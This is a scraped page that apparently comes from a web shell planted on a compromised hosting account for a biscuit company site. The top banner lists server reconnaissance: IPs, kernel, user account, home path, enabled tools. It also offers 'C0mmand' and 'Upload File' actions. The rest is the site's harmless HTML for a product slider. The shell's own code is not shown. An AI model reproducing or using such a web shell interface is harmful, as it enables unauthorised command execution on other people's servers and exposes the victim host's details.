|
Server IP : 103.53.40.154 / Your IP : 18.191.178.16 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/usfoodsltd.com/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<style>
.still{
height:220px;
width:650px;
border-radius:25px 0;
filter: brightness(0.78);
}
</style>
<div class="popular-items1 mb-120">
<div class="container">
<div class="row d-flex justify-content-center mb-40">
<div class="col-lg-8">
<div class="section-title text-center">
<span><img class="left-vec" src="assets/images/icon/sub-title-vec.svg" alt="sub-title-vec">Our
Popular Item<img class="right-vec" src="assets/images/icon/sub-title-vec.svg"
alt="sub-title-vec"></span>
<h2>Our Popular Item List</h2>
</div>
</div>
</div>
<div class="row mb-70">
<div class="swiper popular-item-slider swiper-initialized swiper-horizontal swiper-pointer-events">
<div class="swiper-wrapper" id="swiper-wrapper-286625749aa109821" aria-live="off"
style="transform: translate3d(-2730px, 0px, 0px); transition-duration: 0ms;">
<div class="swiper-slide swiper-slide-duplicate swiper-slide-duplicate-active"
data-swiper-slide-index="4" role="group" aria-label="5 / 7"
style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="still img-fluid" src="assets/images/create/us-img/FUNKY STRAWBERRY1.jpg"
alt="populer3">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$21</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(54)</span>
</div> -->
<h3><a href="">Funky Strawberry </a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
<div class="swiper-slide swiper-slide-duplicate swiper-slide-duplicate-next"
data-swiper-slide-index="5" role="group" aria-label="6 / 7"
style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="still img-fluid" src="assets/images/create/us-img/MARIE DAY1.jpg" alt="populer3">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$21</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(54)</span>
</div> -->
<h3><a href="">Marie Day</a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
<div class="swiper-slide swiper-slide-duplicate" data-swiper-slide-index="6" role="group"
aria-label="7 / 7" style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="still img-fluid" src="assets/images/create/us-img/Nice Day Butter1.jpg"
alt="populer3">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$21</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(54)</span>
</div> -->
<h3><a href="">Nice Day Butter</a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
<div class="swiper-slide" data-swiper-slide-index="0" role="group" aria-label="1 / 7"
style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="popular still img-fluid" src="assets/images/create/us-img/bourbon1.jpg"
alt="populer1">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$25</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(20)</span>
</div> -->
<h3><a href="">Bourbon Biscuit</a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
<div class="swiper-slide" data-swiper-slide-index="1" role="group" aria-label="2 / 7"
style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="still img-fluid" src="assets/images/create/us-img/COCONUT COOKIES1.jpg"
alt="populer2">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$28</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(37)</span>
</div> -->
<h3><a href="">Coconut Cookies</a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
<div class="swiper-slide" data-swiper-slide-index="2" role="group" aria-label="3 / 7"
style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="still img-fluid" src="assets/images/create/us-img/KRACK N BITE1.jpg"
alt="populer3">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$21</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(54)</span>
</div> -->
<h3><a href="">Krack-n-Bite</a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
<div class="swiper-slide swiper-slide-prev" data-swiper-slide-index="3" role="group"
aria-label="4 / 7" style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="still img-fluid" src="assets/images/create/us-img/GLUCOSE1.jpg" alt="populer3">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$21</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(54)</span>
</div> -->
<h3><a href="">Glucose Biscuit</a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
<div class="swiper-slide swiper-slide-active" data-swiper-slide-index="4" role="group"
aria-label="5 / 7" style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="still img-fluid" src="assets/images/create/us-img/FUNKY STRAWBERRY1.jpg"
alt="populer3">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$21</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(54)</span>
</div> -->
<h3><a href="">Funky Strawberry </a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
<div class="swiper-slide swiper-slide-next" data-swiper-slide-index="5" role="group"
aria-label="6 / 7" style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="still img-fluid" src="assets/images/create/us-img/MARIE DAY1.jpg" alt="populer3">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$21</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(54)</span>
</div> -->
<h3><a href="">Marie Day</a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
<div class="swiper-slide" data-swiper-slide-index="6" role="group" aria-label="7 / 7"
style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="still img-fluid" src="assets/images/create/us-img/Nice Day Butter1.jpg"
alt="populer3">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$21</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(54)</span>
</div> -->
<h3><a href="">Nice Day Butter</a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
<div class="swiper-slide swiper-slide-duplicate" data-swiper-slide-index="0" role="group"
aria-label="1 / 7" style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="popular still img-fluid" src="assets/images/create/us-img/bourbon1.jpg"
alt="populer1">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$25</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(20)</span>
</div> -->
<h3><a href="">Bourbon Biscuit</a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
<div class="swiper-slide swiper-slide-duplicate" data-swiper-slide-index="1" role="group"
aria-label="2 / 7" style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="still img-fluid" src="assets/images/create/us-img/COCONUT COOKIES1.jpg"
alt="populer2">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$28</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(37)</span>
</div> -->
<h3><a href="">Coconut Cookies</a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
<div class="swiper-slide swiper-slide-duplicate" data-swiper-slide-index="2" role="group"
aria-label="3 / 7" style="width: 650px; margin-right: 30px;">
<div class="popular-item-warp">
<div class="item-img">
<img class="still img-fluid" src="assets/images/create/us-img/KRACK N BITE1.jpg"
alt="populer3">
<div class="price-tag">
<svg width="70" height="71" viewBox="0 0 70 71" xmlns="http://www.w3.org/2000/svg">
</svg>
<!-- <span>$21</span> -->
</div>
</div>
<div class="item-content text-center">
<!-- <div class="review-area">
<ul>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
<li><i class=" bi bi-star-fill"></i></li>
</ul>
<span>Review(54)</span>
</div> -->
<h3><a href="">Krack-n-Bite</a></h3>
<!-- <p>It is a long established fact that a reader will be distracted.</p> -->
</div>
</div>
</div>
</div>
<span class="swiper-notification" aria-live="assertive" aria-atomic="true"></span>
</div>
</div>
<div class="row">
<div class="slider-pagination">
<div
class="swiper-pagination-xyz swiper-pagination-clickable swiper-pagination-bullets swiper-pagination-horizontal">
<span class="swiper-pagination-bullet" tabindex="0" role="button"
aria-label="Go to slide 1"></span><span class="swiper-pagination-bullet" tabindex="0"
role="button" aria-label="Go to slide 2"></span><span class="swiper-pagination-bullet"
tabindex="0" role="button" aria-label="Go to slide 3"></span><span
class="swiper-pagination-bullet" tabindex="0" role="button"
aria-label="Go to slide 4"></span><span
class="swiper-pagination-bullet swiper-pagination-bullet-active" tabindex="0" role="button"
aria-label="Go to slide 5"></span><span class="swiper-pagination-bullet" tabindex="0"
role="button" aria-label="Go to slide 6"></span><span class="swiper-pagination-bullet"
tabindex="0" role="button" aria-label="Go to slide 7"></span></div>
</div>
</div>
</div>
</div>